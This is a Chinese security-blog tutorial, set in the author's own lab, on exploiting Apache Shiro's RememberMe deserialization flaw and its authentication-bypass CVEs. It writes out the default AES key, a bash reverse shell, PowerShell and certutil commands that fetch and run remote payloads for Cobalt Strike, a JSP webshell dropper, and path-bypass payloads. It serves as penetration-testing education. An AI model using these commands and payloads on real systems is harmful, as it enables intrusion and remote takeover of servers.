freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之框架Shiro(总)
2022-01-04 09:46:48
所属地 江西省

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等操作,如果连Shiro都不会安装操作提权等,怎么拿下对方服务器?

二、Shiro简介

1、Shiro简介

维基百科:

https://zh.wikipedia.org/wiki/Apache_Shiro

Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。该漏洞已经曝光几年,但是在实战中仍然比较实用,每年的护网都能起到不小的作用。

2、shiro漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

3、shiro序列化利用条件

由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

4、shiro漏洞指纹

返回包中存在set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

三、本地搭建

1、环境下载

1641260859_61d3a73b003a820c862c1.png!small?1641260859693

https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

2、安装tomcat

1641260863_61d3a73f47fe561bc7a1b.png!small?1641260863933

1641260884_61d3a75400003ff53164d.png!small?1641260884783
完成tomcat8版本安装!

3、本地部署shiro.war

1641260889_61d3a75936ea15de1b48e.png!small?1641260889876

1641260897_61d3a7615c454184e3e7b.png!small?1641260913356

1641260897_61d3a761a8234d0328ad1.png!small?1641260904574

1641260899_61d3a763535d48744dbfd.png!small?1641260904574

成功部署shiro环境!

四、Shiro渗透总结

1、Linux出网环境渗透Shiro 反序列化漏洞

CVE-2016-4437(Apache Shiro 反序列化漏洞)

1)漏洞描述

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

2)漏洞原理

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManager类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。

原因分析:
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在rememberMe=deleteMe 字段

3)影响版本

影响Shiro<1.2.5版本,当未设置用于“remember me” 特性的AES密钥时,存在反序列化漏洞,可远程命令执行。

4)漏洞启动

(1)开启Shiro漏洞
1641260910_61d3a76e2e25ee92caecd.png!small?1641260913356

sudo docker-compose up -d

(2)验证是否开启
1641260943_61d3a78f5f981fa2acbfd.png!small?1641260944404

sudo docker ps

5)漏洞复现

(1)访问靶机:

1641260949_61d3a7954aa0d5dd1c699.png!small?1641260950142

http://192.168.253.7:8080/

(2)确认网站是apache shiro搭建的

抓包:
1641260955_61d3a79b48cd83691cf5d.png!small?1641260962443

抓包后将Cookie内容改为remember Me=1,若响应包有rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建,效果如下图:
1641260959_61d3a79f4b7078c014c70.png!small?1641260963291

(3)直接运行找key

1641260961_61d3a7a13bdb52bdc166d.png!small?1641260977113
1641260973_61d3a7ad1768cb2a59fc6.png!small?1641260983993

1641260971_61d3a7ab16c8bba81e007.png!small?1641260979603

1641260974_61d3a7ae334ffc705091f.png!small?1641260983993

成功利用获得的key进行控制,获得的权限是root权限!

2、Linux不出网环境渗透shiro反序列化漏洞

1)搭建环境

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8888:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

1641260981_61d3a7b593bbd045c072d.png!small?1641260987604

1641260981_61d3a7b54ac31ef8d79e4.png!small?1641260983992

2)验证搭建环境

1641260985_61d3a7b9a7a378b523028.png!small?1641260990889

http://192.168.253.9:8888/

1641260989_61d3a7bd9bae0a8e3f089.png!small?1641260990889
成功搭建成功!

3)抓包分析remember_me

1641260997_61d3a7c5779d018ac1e41.png!small

remember Me=1

1641260999_61d3a7c77533706453981.png!small?1641261001913

4)不出网攻击shiro

1)需要python3进行执行:
1641261004_61d3a7cccca642442a641.png!small?1641261006608

2)分析shiro-rce脚本:
1641261024_61d3a7e014fce39340380.png!small?1641261047317

判断逻辑,修改了源码的ysoserial-sleep.jar,主要对应延迟5的应用,然后去循环key和gadget,如果某个key和gadget组合以及延迟命令success生效了,就是存在的,还区别两个判断,linux和windows,最后在写入shell后还对发送命令进行了base64进行编译后发送!

3)开始进行验证攻击

python3 shiro-1.2.4_rce.py http://192.168.253.9:8888/login

1641261020_61d3a7dcc121c7a4912e8.png!small?1641261036524

1641261030_61d3a7e6bcf854b9289f4.png!small?1641261057098
输入linux系统获得shell!

5)执行命令测试

1641261034_61d3a7eacc4e072f50cf4.png!small?1641261067418

命令是自动编制执行的,无回显的,在docker也是一样可以运行的!

6)反弹shell

bash -i >& /dev/tcp/192.168.253.65/8888 0>&1


成功获得root权限的shell!

3、windows环境渗透shiro反序列化漏洞

1)自动化攻击shiro

python3 shiro-1.2.4_rce.py http://192.168.253.91:8080/shiro/

1641261044_61d3a7f4a73693854745b.png!small?1641261083450

2)windows成功交互shell


成功交互!

3)上线CS

开启CS:

2)生成木马
1641261055_61d3a7ff59ffbd10488eb.png!small?1641261083451

3)powershell上线CS

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.253.65/dayu.exe','dayu.exe');start-process dayu.exe


成功上线到CS,并进行控制交互!

4、windows内网环境测试

目标不出网,当使用shiro反序列化漏洞对目标进行攻击时,经常存在目标无法访问互联网,导致无法反弹shell的问题。

1)模拟内网环境搭建tomcat-shiro

搭建内网windows-shiro:

双网卡服务器部署在边界:
1641261071_61d3a80fc3d1cb175f150.png!small?1641261107671

VPS端,并开启FRPs:

2)开启Frp隧道进行攻击

1641261085_61d3a81d1e343ff94143f.png!small?1641261121377



成功建立隧道!

3)进攻内网shiro


在外网kali环境拿到内网的shell:

4)建立内网环境payload

1)开启中转监听CS

2)建立中间监听的payload

1641261118_61d3a83e4b65097130c6f.png!small?1641261143489


3)开启第一个shell建立监听:
1641261122_61d3a842e811e697dac2c.png!small?1641261150603

肯定有web服务器,丢到对方web服务器目录即可!

5)内网shiro多级内网上线CS

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/dayu1.exe','dayu1.exe');start-process dayu1.exe



成功上线!

6)拓展小技巧

写文件:

寻找目标网站上存在的文件,尽可能保证其唯一性。
通过执行命令,搜索文件,定位到网站目录,写入webshell。

linux:

#把执行命令的返回输出到1.txt中,通过网站目录访问。
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `whoami` > 1.txt
#写入jsp木马到网站目录
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo 'jsp木马' > 1.jsp

windows powershell:

echo $file = Get-ChildItem -Path . -Filter 20200629.jpg -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.jsp");echo "<%if(""023"".equals(request.getParameter(""pwd""))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(""i"")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print(""<pre>"");while((a=in.read(b))!=-1){out.println(new String(b));}out.print(""</pre>"");}%>" ^|Out-File $f >c:\123.ps1 &&cd c:\ &&powershell.exe c:\123.ps1

五、自动化武器

主要渗透自主搭建的三个shiro站:

http://192.168.253.91:8080/shiro
http://192.168.253.9:8888/
http://192.168.253.7/

1、shiro反序列化漏洞综合利用工具

vulhub进行渗透:

http://192.168.253.7:8080/login;jsessionid=54CB78ABCB893A48211D514600DFCE2F


成功获得!

测试渗透kali搭建的shiro和windows的无法成功~~

2、自动加key回显检测工具



好处是可以方便导入很多key进行检测回显的key,进行利用这块未能成功!!

3、Shiro命令执行工具-117个key

网络得好的情况下巨快能探测到shiro的key值!外网使用!共有117个key进行跑!

http://192.168.253.7:8080/login;jsessionid=54CB78ABCB893A48211D514600DFCE2F


三个站都是很快速的找到key!

4、Shiro550/720漏洞检测工具



如果使用ceye.io跑不出来就选择第二个dnslog.cn进行漏洞检测!


经过30秒左右时间跑动成功!

程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。

输入IP+端口即可!

1、反弹shell(linux) 采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 的方式反弹 shell
2、反弹shell(Windows) 采用 bitsadmin 下载指定 URL 的 exe 文件并执行的方式获取 shell
3、获取Webshell 直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取!


成功获得shell!

上传webshell:

windows上线:


测试上线和上传webshell是有问题的,换shell.jsp也是无效的!

certutil.exe -urlcache -split -f http://192.168.253.38/dayu2.exe shell.exe & shell.exe

这条命令没问题,就是不输出!

六、深入漏洞

1、CVE-2020-11989:Apache Shiro权限绕过复现

1)漏洞简介

(1)漏洞原理:

Apache Shiro 1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,/可以匹配/hello,但是匹配不到/hello/,因为通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。

(2)影响版本:

Apache Shiro < 1.5.2

2)Shiro拦截器

Shiro框架通过拦截器功能来实现对用户访问权限的控制和拦截。Shiro中常见的拦截器有anon,authc等拦截器。

1.anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口。

2.authc为登录拦截器,需要登录认证才能访问的资源。
用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。
[urls] /index.html = anon /user/** = authc
Shiro的URL路径表达式为Ant 格式,路径通配符支持 ? * ** 。
?:匹配一个字符 :匹配零个或多个字符串 **:匹配路径中的零个或多个路径
其中表示匹配零个或多个字符串,/可以匹配/hello,但匹配不到/hello/因为通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello 形式和/hello/形式的URL访问的资源是一样的。

2)漏洞启动

(1)拉取镜像


docker pull vulfocus/shiro-cve_2020_1957

(2)查看开启的ID


docker images

(3)开启docker

docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.253.9  29136b1d3c61

sudo docker ps

成功开启!

3)漏洞复现

(1)访问靶机:

http://192.168.253.9:8080/


http://192.168.253.9:8080/login

4)Shiro1.4.2版本绕过权限

(1)访问/hello/1接口,可以看到被authc拦截器拦截了,将会跳转到登录接口进行登录:

(2)访问/hello/1/,成功绕过authc拦截器,获取到了资源:

5)Shiro≤1.5.1版本绕过

在1.5.1版本中,/hello/会直接跳转到登录!

绕过payload:/dwdww;/../hello/1,成功绕过

或者其他payload:xxxx/..;/hello/1,成功绕过(shiro的1.5.1及其之前的版本都可以)

6)总结漏洞详情

CVE-2020-13933虽然是CVE-2020-11989的绕过,然而两者的绕过内容却不同!

CVE-2020-11989针对于/admin/page,这种固定路由,shiro得到的地址为/,因此认为可以访问,Spring得到的地址为/admin/page,从而定位到未授权的页面!

CVE-2020-13933则是匹配非固定地址路由,比如/admin/{name},因为shiro得到的是/admin/,认为可以访问,而Spring得到的是/admin/;page,如果也采取固定路由,则会因为找不到;page,从而返回404!

2、Apache Shiro 认证绕过漏洞(CVE-2020-1957)

1)漏洞简介

(1)漏洞原理:

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

(2)影响版本:

Apache Shiro < 1.5.3

2)漏洞启动

(1)开启CVE-2020-1957漏洞

sudo docker-compose up -d

(2)验证是否开启

sudo docker ps

3)漏洞复现

(1)访问靶机:

http://192.168.253.9:8080/


复现和CVE-2020-11989一样!!

七、总结

总结下来就是shiro的功能用到了AES加密,但是密钥是硬编码在代码里的,所以很容易拿到密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥,所以就可以通过恶意构建Cookie获取权限执行攻击命令,拿到root权限,官方解决的方案是简单的弃用了问题代码。

官方解释链接:

https://github.com/Collaborne/shiro/commit/71114398cadb47e49384638df0a4b79fb3120f8a

所以建议是升级shiro版本,避免该问题,新版本到shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥,但是我看了一下我使用的shiro版本是1.4.0,按理不应该存在该问题了啊,那问题出在哪里呢,片头引用的第四篇文章里面说到了升级shiro版本后仍然存在反序列化漏洞,其原因是因为我们使用了别人的开源框架,他们在代码里会配置shiro的密钥,而关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,其实就是这些密钥的集合,然后用这些公开的密钥去轮流尝试,如果你用了开源的框架,而没有修改shiro的密钥,其实这就相当于你使用的shiro密钥已经泄露,这是非常危险的。

今天学到Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)-> 服务攻防之框架Spring(上)......

接下来在《服务攻防之框架Spring(上)》会接触到Spring简介、Spring框架特征、Spring Security OAuth2远程命令执行突破(CVE-2016-4977)、Spring Web Flow框架远程代码执行(CVE-2017-4971)等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Spring篇上章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# Shiro
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录